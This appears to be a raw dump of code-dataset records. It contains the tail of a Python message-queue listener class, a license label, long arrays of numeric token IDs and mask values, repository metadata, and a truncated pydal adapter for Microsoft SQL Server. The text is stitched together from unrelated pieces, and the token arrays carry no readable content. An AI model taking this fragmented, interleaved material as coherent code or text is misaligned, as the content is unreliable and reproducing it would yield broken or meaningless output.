self.app.RamSymbolsM.peek.unregister(msgQueue) self.app.RamSymbolsM.poke.unregister(msgQueue) #register the msgQueue for all message types with drip and unregister DripMsg with localComm if "AM_DRIPMSG" in self.app.enums._enums : drips = Drip.getDripObject(self.app) for drip in drips: print "actually dtrying to register dripmsgs\n" registerAllMsgs(self.app.msgs, msgQueue, drip) comm.unregister(self.app.msgs.DripMsg, msgQueue) self.running = True msgThread = threading.Thread(target=self.processMessages, args=(msgQueue,)) msgThread.setDaemon(True) msgThread.start() def processMessages(self, msgQueue) : while True : (addr,msg) = msgQueue.get() if self.running == True : for listener in self.listeners : listener.messageReceived(addr, msg) def stop(self) : self.running = False def start(self) : self.running = True def register(self, msgHandler) : self.listeners.append(msgHandler) def unregister(self, msgHandler) : self.listeners.remove(msgHandler)
bsd-3-clause
[ 3381, 2647, 15, 1393, 15, 1548, 199, 3, 4, 1304, 26, 6430, 51, 889, 2262, 14, 647, 12, 86, 413, 14, 18, 11811, 15, 709, 15, 1465, 12497, 26, 1789, 26, 1401, 1022, 32374, 87, 7910, 2672, 199, 199, 3, 298, 7384, 334, 67, 9, 12293, 13, 17919, 710, 5044, 24871, 402, 314, 15904, 402, 8256, 73, 509, 22042, 14, 257, 199, 3, 2900, 4481, 4644, 14, 199, 3, 199, 3, 8779, 370, 675, 12, 1331, 12, 2811, 12, 436, 11207, 642, 2032, 436, 2399, 199, 3, 3794, 367, 1263, 12016, 12, 1928, 14751, 12, 436, 1928, 5313, 25025, 199, 3, 365, 11882, 10009, 12, 2741, 626, 314, 3432, 4248, 4245, 12, 314, 2569, 199, 3, 2877, 26603, 436, 314, 4132, 7468, 315, 1006, 6866, 402, 642, 2032, 14, 199, 3, 221, 199, 3, 1621, 4825, 6461, 7000, 2334, 6778, 41, 17223, 1922, 1634, 445, 748, 41, 2707, 46, 13033, 6262, 7024, 2296, 1821, 10263, 2099, 2381, 199, 3, 8703, 12, 9168, 12, 8820, 12, 9716, 12, 1549, 9110, 6736, 7043, 5738, 199, 3, 1634, 2334, 4815, 1634, 5749, 4141, 2401, 473, 9730, 29970, 2594, 12, 9704, 8036, 2334, 6778, 41, 17223, 1922, 199, 3, 1634, 445, 748, 41, 2707, 46, 13033, 7509, 6262, 742, 9691, 1634, 2334, 9726, 1634, 9712, 9784, 14, 199, 3, 221, 199, 3, 2334, 6778, 41, 17223, 1922, 1634, 445, 748, 41, 2707, 46, 13033, 428, 7236, 23380, 28292, 8990, 51, 1821, 2990, 12, 199, 3, 6931, 12, 5400, 2845, 5471, 2296, 12, 2334, 5292, 2990, 1634, 3169, 199, 3, 2401, 3092, 2381, 437, 3115, 3104, 14, 221, 2334, 4141, 7049, 869, 28106, 6131, 540, 2281, 199, 3, 5258, 1261, 298, 1179, 2281, 2, 4207, 12, 2401, 2334, 6778, 41, 17223, 1922, 1634, 445, 748, 41, 2707, 46, 13033, 7509, 4825, 593, 7847, 1277, 2594, 2296, 199, 3, 6837, 37, 4828, 2919, 742, 7140, 12, 13756, 12, 7215, 6521, 654, 12, 5070, 40, 7140, 20967, 12, 1549, 10362, 1914, 23380, 12969, 2122, 199, 3, 199, 3, 768, 2502, 1804, 32374, 2816, 1175, 6740, 221, 199, 3, 199, 199, 646, 984, 199, 646, 1134, 14543, 14, 5150, 465, 7046, 3515, 199, 646, 1134, 14543, 14, 2537, 14, 36, 6322, 465, 577, 6322, 3515, 199, 646, 1134, 14543, 14, 2537, 14, 36, 24210, 465, 577, 24210, 3515, 199, 646, 5796, 199, 199, 318, 2274, 2422, 13586, 458, 8, 13429, 12, 1499, 3737, 12, 1950, 9, 520, 523, 367, 1499, 985, 315, 17599, 423, 1328, 5866, 520, 272, 1499, 275, 17599, 59, 1328, 985, 61, 272, 1950, 14, 2683, 8, 1499, 2360, 1499, 3737, 776, 268, 199, 533, 6430, 51, 889, 2262, 8, 909, 776, 520, 523, 408, 2765, 859, 32563, 8441, 2683, 4451, 436, 8441, 18408, 4451, 3423, 626, 523, 5452, 282, 1245, 2461, 1423, 1325, 949, 1245, 730, 1423, 14, 523, 15345, 12, 314, 1245, 2461, 911, 9128, 11727, 12467, 3788, 14, 221, 2779, 523, 5544, 10022, 2257, 9128, 12, 366, 6322, 3788, 12, 8985, 3788, 12, 436, 523, 21394, 8169, 3788, 14, 221, 6184, 892, 14870, 19230, 1077, 506, 523, 30147, 972, 1901, 642, 859, 14, 819, 4503, 26, 523, 308, 889, 2262, 275, 6430, 51, 889, 2262, 8, 571, 9, 523, 308, 889, 2262, 14, 928, 523, 308, 889, 2262, 14, 2379, 523, 308, 889, 2262, 14, 2683, 8, 3058, 38, 6413, 9, 523, 308, 889, 2262, 14, 18408, 8, 3058, 38, 6413, 9, 523, 408, 272, 523, 347, 636, 826, 721, 291, 2360, 1145, 9287, 776, 520, 339, 291, 14, 571, 275, 1145, 272, 291, 14, 17301, 275, 942, 339, 1499, 3737, 275, 7046, 14, 2209, 3737, 8, 709, 9, 5493, 327, 2683, 314, 1499, 3737, 367, 1006, 1245, 2943, 543, 2257, 5150, 272, 1923, 275, 7046, 14, 362, 5150, 1692, 8, 277, 14, 571, 12, 291, 14, 571, 14, 2137, 957, 9, 272, 2274, 2422, 13586, 458, 8, 277, 14, 571, 14, 13429, 12, 1499, 3737, 12, 1923, 9, 339, 327, 2683, 314, 1499, 3737, 367, 1006, 1245, 2943, 543, 366, 6322, 436, 24369, 577, 6322, 6173, 543, 2257, 5150, 272, 340, 298, 1156, 63, 36, 21715, 9740, 2, 315, 291, 14, 571, 14, 19921, 423, 19921, 520, 489, 366, 345, 3617, 275, 577, 6322, 14, 362, 36, 6322, 1692, 8, 277, 14, 571, 9, 489, 367, 366, 6322, 315, 366, 345, 3617, 26, 267, 2274, 2422, 13586, 458, 8, 277, 14, 571, 14, 13429, 12, 1499, 3737, 12, 366, 6322, 9, 489, 1923, 14, 18408, 8, 277, 14, 571, 14, 13429, 14, 36, 6322, 6173, 12, 1499, 3737, 9, 339, 327, 692, 8985, 365, 8439, 272, 340, 291, 14, 571, 855, 807, 4343, 1989, 63, 498, 480, 4354, 531, 520, 489, 327, 1875, 3238, 282, 20921, 80, 909, 3495, 367, 308, 12921, 316, 641, 11465, 489, 20921, 1190, 275, 577, 24210, 14, 362, 36, 24210, 1692, 8, 277, 14, 571, 12, 291, 14, 571, 14, 2137, 957, 12, 291, 14, 571, 14, 19921, 14, 1156, 63, 8171, 10761, 9740, 9, 489, 327, 2683, 314, 1499, 3737, 367, 1006, 8985, 1177, 3788, 489, 367, 1414, 315, 291, 14, 571, 14, 4354, 423, 3431, 14, 1459, 342, 520, 267, 1414, 14, 2683, 8, 1328, 3737, 9, 489, 327, 460, 24369, 820, 2352, 2364, 6173, 687, 366, 6322, 489, 366, 345, 3617, 275, 577, 6322, 14, 362, 36, 6322, 1692, 8, 277, 14, 571, 12, 291, 14, 571, 14, 2137, 957, 12, 378, 3581, 771, 9, 327, 3080, 1396, 7508, 1233, 68, 1329, 489, 367, 366, 6322, 315, 366, 345, 3617, 26, 267, 366, 6322, 14, 18408, 8, 571, 14, 13429, 14, 15569, 2364, 6173, 12, 1499, 3737, 9, 489, 327, 692, 21394, 6698, 365, 8439, 489, 340, 291, 14, 571, 855, 807, 4343, 1989, 63, 498, 480, 5975, 20574, 531, 520, 267, 327, 2683, 314, 1499, 3737, 367, 1006, 21394, 5272, 1177, 3788, 267, 367, 5272, 315, 291, 14, 571, 14, 5975, 20574, 423, 3431, 14, 1459, 342, 520, 881, 5272, 14, 2683, 17093, 8, 1328, 3737, 9, 881, 5272, 14, 2683, 1575, 415, 8, 1328, 3737, 9, 267, 327, 460, 24369, 687, 15094, 15, 31696, 8985, 3718, 267, 291, 14, 571, 14, 50, 455, 20574, 45, 14, 13164, 14, 18408, 8, 1328, 3737, 9, 267, 291 ]
[ 2647, 15, 1393, 15, 1548, 199, 3, 4, 1304, 26, 6430, 51, 889, 2262, 14, 647, 12, 86, 413, 14, 18, 11811, 15, 709, 15, 1465, 12497, 26, 1789, 26, 1401, 1022, 32374, 87, 7910, 2672, 199, 199, 3, 298, 7384, 334, 67, 9, 12293, 13, 17919, 710, 5044, 24871, 402, 314, 15904, 402, 8256, 73, 509, 22042, 14, 257, 199, 3, 2900, 4481, 4644, 14, 199, 3, 199, 3, 8779, 370, 675, 12, 1331, 12, 2811, 12, 436, 11207, 642, 2032, 436, 2399, 199, 3, 3794, 367, 1263, 12016, 12, 1928, 14751, 12, 436, 1928, 5313, 25025, 199, 3, 365, 11882, 10009, 12, 2741, 626, 314, 3432, 4248, 4245, 12, 314, 2569, 199, 3, 2877, 26603, 436, 314, 4132, 7468, 315, 1006, 6866, 402, 642, 2032, 14, 199, 3, 221, 199, 3, 1621, 4825, 6461, 7000, 2334, 6778, 41, 17223, 1922, 1634, 445, 748, 41, 2707, 46, 13033, 6262, 7024, 2296, 1821, 10263, 2099, 2381, 199, 3, 8703, 12, 9168, 12, 8820, 12, 9716, 12, 1549, 9110, 6736, 7043, 5738, 199, 3, 1634, 2334, 4815, 1634, 5749, 4141, 2401, 473, 9730, 29970, 2594, 12, 9704, 8036, 2334, 6778, 41, 17223, 1922, 199, 3, 1634, 445, 748, 41, 2707, 46, 13033, 7509, 6262, 742, 9691, 1634, 2334, 9726, 1634, 9712, 9784, 14, 199, 3, 221, 199, 3, 2334, 6778, 41, 17223, 1922, 1634, 445, 748, 41, 2707, 46, 13033, 428, 7236, 23380, 28292, 8990, 51, 1821, 2990, 12, 199, 3, 6931, 12, 5400, 2845, 5471, 2296, 12, 2334, 5292, 2990, 1634, 3169, 199, 3, 2401, 3092, 2381, 437, 3115, 3104, 14, 221, 2334, 4141, 7049, 869, 28106, 6131, 540, 2281, 199, 3, 5258, 1261, 298, 1179, 2281, 2, 4207, 12, 2401, 2334, 6778, 41, 17223, 1922, 1634, 445, 748, 41, 2707, 46, 13033, 7509, 4825, 593, 7847, 1277, 2594, 2296, 199, 3, 6837, 37, 4828, 2919, 742, 7140, 12, 13756, 12, 7215, 6521, 654, 12, 5070, 40, 7140, 20967, 12, 1549, 10362, 1914, 23380, 12969, 2122, 199, 3, 199, 3, 768, 2502, 1804, 32374, 2816, 1175, 6740, 221, 199, 3, 199, 199, 646, 984, 199, 646, 1134, 14543, 14, 5150, 465, 7046, 3515, 199, 646, 1134, 14543, 14, 2537, 14, 36, 6322, 465, 577, 6322, 3515, 199, 646, 1134, 14543, 14, 2537, 14, 36, 24210, 465, 577, 24210, 3515, 199, 646, 5796, 199, 199, 318, 2274, 2422, 13586, 458, 8, 13429, 12, 1499, 3737, 12, 1950, 9, 520, 523, 367, 1499, 985, 315, 17599, 423, 1328, 5866, 520, 272, 1499, 275, 17599, 59, 1328, 985, 61, 272, 1950, 14, 2683, 8, 1499, 2360, 1499, 3737, 776, 268, 199, 533, 6430, 51, 889, 2262, 8, 909, 776, 520, 523, 408, 2765, 859, 32563, 8441, 2683, 4451, 436, 8441, 18408, 4451, 3423, 626, 523, 5452, 282, 1245, 2461, 1423, 1325, 949, 1245, 730, 1423, 14, 523, 15345, 12, 314, 1245, 2461, 911, 9128, 11727, 12467, 3788, 14, 221, 2779, 523, 5544, 10022, 2257, 9128, 12, 366, 6322, 3788, 12, 8985, 3788, 12, 436, 523, 21394, 8169, 3788, 14, 221, 6184, 892, 14870, 19230, 1077, 506, 523, 30147, 972, 1901, 642, 859, 14, 819, 4503, 26, 523, 308, 889, 2262, 275, 6430, 51, 889, 2262, 8, 571, 9, 523, 308, 889, 2262, 14, 928, 523, 308, 889, 2262, 14, 2379, 523, 308, 889, 2262, 14, 2683, 8, 3058, 38, 6413, 9, 523, 308, 889, 2262, 14, 18408, 8, 3058, 38, 6413, 9, 523, 408, 272, 523, 347, 636, 826, 721, 291, 2360, 1145, 9287, 776, 520, 339, 291, 14, 571, 275, 1145, 272, 291, 14, 17301, 275, 942, 339, 1499, 3737, 275, 7046, 14, 2209, 3737, 8, 709, 9, 5493, 327, 2683, 314, 1499, 3737, 367, 1006, 1245, 2943, 543, 2257, 5150, 272, 1923, 275, 7046, 14, 362, 5150, 1692, 8, 277, 14, 571, 12, 291, 14, 571, 14, 2137, 957, 9, 272, 2274, 2422, 13586, 458, 8, 277, 14, 571, 14, 13429, 12, 1499, 3737, 12, 1923, 9, 339, 327, 2683, 314, 1499, 3737, 367, 1006, 1245, 2943, 543, 366, 6322, 436, 24369, 577, 6322, 6173, 543, 2257, 5150, 272, 340, 298, 1156, 63, 36, 21715, 9740, 2, 315, 291, 14, 571, 14, 19921, 423, 19921, 520, 489, 366, 345, 3617, 275, 577, 6322, 14, 362, 36, 6322, 1692, 8, 277, 14, 571, 9, 489, 367, 366, 6322, 315, 366, 345, 3617, 26, 267, 2274, 2422, 13586, 458, 8, 277, 14, 571, 14, 13429, 12, 1499, 3737, 12, 366, 6322, 9, 489, 1923, 14, 18408, 8, 277, 14, 571, 14, 13429, 14, 36, 6322, 6173, 12, 1499, 3737, 9, 339, 327, 692, 8985, 365, 8439, 272, 340, 291, 14, 571, 855, 807, 4343, 1989, 63, 498, 480, 4354, 531, 520, 489, 327, 1875, 3238, 282, 20921, 80, 909, 3495, 367, 308, 12921, 316, 641, 11465, 489, 20921, 1190, 275, 577, 24210, 14, 362, 36, 24210, 1692, 8, 277, 14, 571, 12, 291, 14, 571, 14, 2137, 957, 12, 291, 14, 571, 14, 19921, 14, 1156, 63, 8171, 10761, 9740, 9, 489, 327, 2683, 314, 1499, 3737, 367, 1006, 8985, 1177, 3788, 489, 367, 1414, 315, 291, 14, 571, 14, 4354, 423, 3431, 14, 1459, 342, 520, 267, 1414, 14, 2683, 8, 1328, 3737, 9, 489, 327, 460, 24369, 820, 2352, 2364, 6173, 687, 366, 6322, 489, 366, 345, 3617, 275, 577, 6322, 14, 362, 36, 6322, 1692, 8, 277, 14, 571, 12, 291, 14, 571, 14, 2137, 957, 12, 378, 3581, 771, 9, 327, 3080, 1396, 7508, 1233, 68, 1329, 489, 367, 366, 6322, 315, 366, 345, 3617, 26, 267, 366, 6322, 14, 18408, 8, 571, 14, 13429, 14, 15569, 2364, 6173, 12, 1499, 3737, 9, 489, 327, 692, 21394, 6698, 365, 8439, 489, 340, 291, 14, 571, 855, 807, 4343, 1989, 63, 498, 480, 5975, 20574, 531, 520, 267, 327, 2683, 314, 1499, 3737, 367, 1006, 21394, 5272, 1177, 3788, 267, 367, 5272, 315, 291, 14, 571, 14, 5975, 20574, 423, 3431, 14, 1459, 342, 520, 881, 5272, 14, 2683, 17093, 8, 1328, 3737, 9, 881, 5272, 14, 2683, 1575, 415, 8, 1328, 3737, 9, 267, 327, 460, 24369, 687, 15094, 15, 31696, 8985, 3718, 267, 291, 14, 571, 14, 50, 455, 20574, 45, 14, 13164, 14, 18408, 8, 1328, 3737, 9, 267, 291, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
ybenitezf/miner
core/pydal/adapters/mssql.py
11
33043
# -*- coding: utf-8 -*- import re import sys from .._globals import IDENTITY from .._compat import PY2, to_unicode, iteritems, integer_types from ..objects import Expression from ..helpers.methods import varquote_aux from .base import BaseAdapter long = integer_types[-1] class MSSQLAdapter(BaseAdapter): drivers = ('pyodbc',) T_SEP = 'T' QUOTE_TEMPLATE = '"%s"' types = { 'boolean': 'BIT', 'string': 'VARCHAR(%(length)s)', 'text': 'TEXT', 'json': 'TEXT', 'password': 'VARCHAR(%(length)s)', 'blob': 'IMAGE', 'upload': 'VARCHAR(%(length)s)', 'integer': 'INT', 'bigint': 'BIGINT', 'float': 'FLOAT', 'double': 'FLOAT', 'decimal': 'NUMERIC(%(precision)s,%(scale)s)', 'date': 'DATETIME', 'time': 'CHAR(8)', 'datetime': 'DATETIME', 'id': 'INT IDENTITY PRIMARY KEY', 'reference': 'INT %(null)s %(unique)s, CONSTRAINT %(constraint_name)s FOREIGN KEY (%(field_name)s) REFERENCES %(foreign_key)s ON DELETE %(on_delete_action)s', 'list:integer': 'TEXT', 'list:string': 'TEXT', 'list:reference': 'TEXT', 'geometry': 'geometry', 'geography': 'geography', 'big-id': 'BIGINT IDENTITY PRIMARY KEY', 'big-reference': 'BIGINT %(null)s %(unique)s, CONSTRAINT %(constraint_name)s FOREIGN KEY (%(field_name)s) REFERENCES %(foreign_key)s ON DELETE %(on_delete_action)s', 'reference FK': ', CONSTRAINT FK_%(constraint_name)s FOREIGN KEY (%(field_name)s) REFERENCES %(foreign_key)s ON DELETE %(on_delete_action)s', 'reference TFK': ' CONSTRAINT FK_%(foreign_table)s_PK FOREIGN KEY (%(field_name)s) REFERENCES %(foreign_table)s (%(foreign_key)s) ON DELETE %(on_delete_action)s', } def concat_add(self,tablename): return '; ALTER TABLE %s ADD ' % tablename def varquote(self,name): return varquote_aux(name,'[%s]') def EXTRACT(self,field,what): return "DATEPART(%s,%s)" % (what, self.expand(field)) def LEFT_JOIN(self): return 'LEFT OUTER JOIN' def RANDOM(self): return 'NEWID()' def ALLOW_NULL(self): return ' %s' % 'NULL' def CAST(self, first, second): return first # apparently no cast necessary in MSSQL def SUBSTRING(self,field,parameters): return 'SUBSTRING(%s,%s,%s)' % (self.expand(field), parameters[0], parameters[1]) def PRIMARY_KEY(self,key): return 'PRIMARY KEY CLUSTERED (%s)' % key def AGGREGATE(self, first, what): if what == 'LENGTH': what = 'LEN' return "%s(%s)" % (what, self.expand(first)) def LENGTH(self, first): return "LEN(%s)" % self.expand(first) def select_limitby(self, sql_s, sql_f, sql_t, sql_w, sql_o, limitby): if limitby: (lmin, lmax) = limitby sql_s += ' TOP %i' % lmax return 'SELECT %s %s FROM %s%s%s;' % (sql_s, sql_f, sql_t, sql_w, sql_o) TRUE = 1 FALSE = 0 REGEX_DSN = re.compile('^(?P<dsn>.+)$') REGEX_URI = re.compile('^(?P<user>[^:@]+)(\:(?P<password>[^@]*))?@(?P<host>\[[^/]+\]|[^\:/]+)(\:(?P<port>[0-9]+))?/(?P<db>[^\?]+)(\?(?P<urlargs>.*))?$') REGEX_ARGPATTERN = re.compile('(?P<argkey>[^=]+)=(?P<argvalue>[^&]*)') def __init__(self, db, uri, pool_size=0, folder=None, db_codec='UTF-8', credential_decoder=IDENTITY, driver_args={}, adapter_args={}, do_connect=True, srid=4326, after_connection=None): self.TRUE_exp = '1=1' self.FALSE_exp = '1=0' self.db = db self.dbengine = "mssql" self.uri = uri if do_connect: self.find_driver(adapter_args,uri) self.pool_size = pool_size self.folder = folder self.db_codec = db_codec self._after_connection = after_connection self.srid = srid self.find_or_make_work_folder() ruri = uri.split('://', 1)[1] if '@' not in ruri: try: m = self.REGEX_DSN.match(ruri) if not m: raise SyntaxError( 'Parsing uri string(%s) has no result' % self.uri) dsn = m.group('dsn') if not dsn: raise SyntaxError('DSN required') except SyntaxError: e = sys.exc_info()[1] self.db.logger.error('NdGpatch error') raise e # was cnxn = 'DSN=%s' % dsn cnxn = dsn else: m = self.REGEX_URI.match(ruri) if not m: raise SyntaxError( "Invalid URI string in DAL: %s" % self.uri) user = credential_decoder(m.group('user')) if not user: raise SyntaxError('User required') password = credential_decoder(m.group('password')) if not password: password = '' host = m.group('host') if not host: raise SyntaxError('Host name required') db = m.group('db') if not db: raise SyntaxError('Database name required') port = m.group('port') or '1433' # Parse the optional url name-value arg pairs after the '?' # (in the form of arg1=value1&arg2=value2&...) # Default values (drivers like FreeTDS insist on uppercase parameter keys) argsdict = { 'DRIVER':'{SQL Server}' } urlargs = m.group('urlargs') or '' for argmatch in self.REGEX_ARGPATTERN.finditer(urlargs): argsdict[str(argmatch.group('argkey')).upper()] = argmatch.group('argvalue') urlargs = ';'.join(['%s=%s' % (ak, av) for (ak, av) in iteritems(argsdict)]) cnxn = 'SERVER=%s;PORT=%s;DATABASE=%s;UID=%s;PWD=%s;%s' \ % (host, port, db, user, password, urlargs) def connector(cnxn=cnxn,driver_args=driver_args): return self.driver.connect(cnxn, **driver_args) self.connector = connector if do_connect: self.reconnect() def lastrowid(self, table): #self.execute('SELECT @@IDENTITY;') self.execute('SELECT SCOPE_IDENTITY();') return long(self.cursor.fetchone()[0]) def rowslice(self, rows, minimum=0, maximum=None): if maximum is None: return rows[minimum:] return rows[minimum:maximum] def EPOCH(self, first): return "DATEDIFF(second, '1970-01-01 00:00:00', %s)" % self.expand(first) def CONCAT(self, *items): return '(%s)' % ' + '.join(self.expand(x, 'string') for x in items) def REGEXP(self, first, second): second = self.expand(second, 'string').replace('\\', '\\\\') second = second.replace('%', '\%').replace('*', '%').replace('.', '_') return "(%s LIKE %s ESCAPE '\\')" % (self.expand(first), second) def mssql_like_normalizer(self, term): term = term.replace('[', '[[]') return term def like_escaper_default(self, term): if isinstance(term, Expression): return term term = term.replace('\\', '\\\\') term = term.replace('%', '\%').replace('_', '\_') return self.mssql_like_normalizer(term) def LIKE(self, first, second, escape=None): """Case sensitive like operator""" if isinstance(second, Expression): second = self.expand(second, 'string') else: second = self.expand(second, 'string') if escape is None: escape = '\\' second = second.replace(escape, escape * 2) return "(%s LIKE %s ESCAPE '%s')" % (self.expand(first), second, escape) def ILIKE(self, first, second, escape=None): """Case insensitive like operator""" if isinstance(second, Expression): second = self.expand(second, 'string') else: second = self.expand(second, 'string').lower() if escape is None: escape = '\\' second = second.replace(escape, escape*2) return "(LOWER(%s) LIKE %s ESCAPE '%s')" % (self.expand(first), second, escape) def STARTSWITH(self, first, second): return "(%s LIKE %s ESCAPE '\\')" % (self.expand(first), self.expand(self.like_escaper_default(second)+'%', 'string')) def ENDSWITH(self, first, second): return "(%s LIKE %s ESCAPE '\\')" % (self.expand(first), self.expand('%'+self.like_escaper_default(second), 'string')) def CONTAINS(self, first, second, case_sensitive=True): if first.type in ('string', 'text', 'json'): if isinstance(second, Expression): second = Expression(second.db, self.CONCAT('%',Expression( second.db, self.REPLACE(second,('%','\%'))),'%')) else: second = '%'+self.like_escaper_default(str(second))+'%' elif first.type.startswith('list:'): if isinstance(second,Expression): second = Expression(second.db, self.CONCAT( '%|',Expression(second.db, self.REPLACE( Expression(second.db, self.REPLACE( second,('%','\%'))),('|','||'))),'|%')) else: second = str(second).replace('|', '||') second = '%|'+self.like_escaper_default(second)+'|%' op = case_sensitive and self.LIKE or self.ILIKE return op(first, second, escape='\\') # GIS Spatial Extensions # No STAsGeoJSON in MSSQL def ST_ASTEXT(self, first): return '%s.STAsText()' %(self.expand(first)) def ST_CONTAINS(self, first, second): return '%s.STContains(%s)=1' %(self.expand(first), self.expand(second, first.type)) def ST_DISTANCE(self, first, second): return '%s.STDistance(%s)' %(self.expand(first), self.expand(second, first.type)) def ST_EQUALS(self, first, second): return '%s.STEquals(%s)=1' %(self.expand(first), self.expand(second, first.type)) def ST_INTERSECTS(self, first, second): return '%s.STIntersects(%s)=1' %(self.expand(first), self.expand(second, first.type)) def ST_OVERLAPS(self, first, second): return '%s.STOverlaps(%s)=1' %(self.expand(first), self.expand(second, first.type)) # no STSimplify in MSSQL def ST_TOUCHES(self, first, second): return '%s.STTouches(%s)=1' %(self.expand(first), self.expand(second, first.type)) def ST_WITHIN(self, first, second): return '%s.STWithin(%s)=1' %(self.expand(first), self.expand(second, first.type)) def represent(self, obj, fieldtype): field_is_type = fieldtype.startswith if field_is_type('geometry'): srid = 0 # MS SQL default srid for geometry geotype, parms = fieldtype[:-1].split('(') if parms: srid = parms return "geometry::STGeomFromText('%s',%s)" %(obj, srid) elif fieldtype == 'geography': srid = 4326 # MS SQL default srid for geography geotype, parms = fieldtype[:-1].split('(') if parms: srid = parms return "geography::STGeomFromText('%s',%s)" %(obj, srid) # else: # raise SyntaxError('Invalid field type %s' %fieldtype) return "geometry::STGeomFromText('%s',%s)" %(obj, srid) return BaseAdapter.represent(self, obj, fieldtype) class MSSQL3Adapter(MSSQLAdapter): """Experimental support for pagination in MSSQL Requires MSSQL >= 2005, uses `ROW_NUMBER()` """ types = { 'boolean': 'BIT', 'string': 'VARCHAR(%(length)s)', 'text': 'VARCHAR(MAX)', 'json': 'VARCHAR(MAX)', 'password': 'VARCHAR(%(length)s)', 'blob': 'IMAGE', 'upload': 'VARCHAR(%(length)s)', 'integer': 'INT', 'bigint': 'BIGINT', 'float': 'FLOAT', 'double': 'FLOAT', 'decimal': 'NUMERIC(%(precision)s,%(scale)s)', 'date': 'DATETIME', 'time': 'TIME(7)', 'datetime': 'DATETIME', 'id': 'INT IDENTITY PRIMARY KEY', 'reference': 'INT %(null)s %(unique)s, CONSTRAINT %(constraint_name)s FOREIGN KEY (%(field_name)s) REFERENCES %(foreign_key)s ON DELETE %(on_delete_action)s', 'list:integer': 'VARCHAR(MAX)', 'list:string': 'VARCHAR(MAX)', 'list:reference': 'VARCHAR(MAX)', 'geometry': 'geometry', 'geography': 'geography', 'big-id': 'BIGINT IDENTITY PRIMARY KEY', 'big-reference': 'BIGINT %(null)s %(unique)s, CONSTRAINT %(constraint_name)s FOREIGN KEY (%(field_name)s) REFERENCES %(foreign_key)s ON DELETE %(on_delete_action)s', 'reference FK': ', CONSTRAINT FK_%(constraint_name)s FOREIGN KEY (%(field_name)s) REFERENCES %(foreign_key)s ON DELETE %(on_delete_action)s', 'reference TFK': ' CONSTRAINT FK_%(foreign_table)s_PK FOREIGN KEY (%(field_name)s) REFERENCES %(foreign_table)s (%(foreign_key)s) ON DELETE %(on_delete_action)s', } def select_limitby(self, sql_s, sql_f, sql_t, sql_w, sql_o, limitby): if limitby: (lmin, lmax) = limitby if lmin == 0: sql_s += ' TOP %i' % lmax return 'SELECT %s %s FROM %s%s%s;' % (sql_s, sql_f, sql_t, sql_w, sql_o) lmin += 1 sql_o_inner = sql_o[sql_o.find('ORDER BY ')+9:] sql_g_inner = sql_o[:sql_o.find('ORDER BY ')] sql_f_outer = ['f_%s' % f for f in range(len(sql_f.split(',')))] sql_f_inner = [f for f in sql_f.split(',')] sql_f_iproxy = ['%s AS %s' % (o, n) for (o, n) in zip(sql_f_inner, sql_f_outer)] sql_f_iproxy = ', '.join(sql_f_iproxy) sql_f_oproxy = ', '.join(sql_f_outer) return 'SELECT %s %s FROM (SELECT %s ROW_NUMBER() OVER (ORDER BY %s) AS w_row, %s FROM %s%s%s) TMP WHERE w_row BETWEEN %i AND %s;' % (sql_s,sql_f_oproxy,sql_s,sql_f,sql_f_iproxy,sql_t,sql_w,sql_g_inner,lmin,lmax) return 'SELECT %s %s FROM %s%s%s;' % (sql_s,sql_f,sql_t,sql_w,sql_o) def rowslice(self,rows,minimum=0,maximum=None): return rows class MSSQL4Adapter(MSSQLAdapter): """Support for "native" pagination Requires MSSQL >= 2012, uses `OFFSET ... ROWS ... FETCH NEXT ... ROWS ONLY` """ types = { 'boolean': 'BIT', 'string': 'VARCHAR(%(length)s)', 'text': 'VARCHAR(MAX)', 'json': 'VARCHAR(MAX)', 'password': 'VARCHAR(%(length)s)', 'blob': 'IMAGE', 'upload': 'VARCHAR(%(length)s)', 'integer': 'INT', 'bigint': 'BIGINT', 'float': 'FLOAT', 'double': 'FLOAT', 'decimal': 'NUMERIC(%(precision)s,%(scale)s)', 'date': 'DATETIME', 'time': 'TIME(7)', 'datetime': 'DATETIME', 'id': 'INT IDENTITY PRIMARY KEY', 'reference': 'INT %(null)s %(unique)s, CONSTRAINT %(constraint_name)s FOREIGN KEY (%(field_name)s) REFERENCES %(foreign_key)s ON DELETE %(on_delete_action)s', 'list:integer': 'VARCHAR(MAX)', 'list:string': 'VARCHAR(MAX)', 'list:reference': 'VARCHAR(MAX)', 'geometry': 'geometry', 'geography': 'geography', 'big-id': 'BIGINT IDENTITY PRIMARY KEY', 'big-reference': 'BIGINT %(null)s %(unique)s, CONSTRAINT %(constraint_name)s FOREIGN KEY (%(field_name)s) REFERENCES %(foreign_key)s ON DELETE %(on_delete_action)s', 'reference FK': ', CONSTRAINT 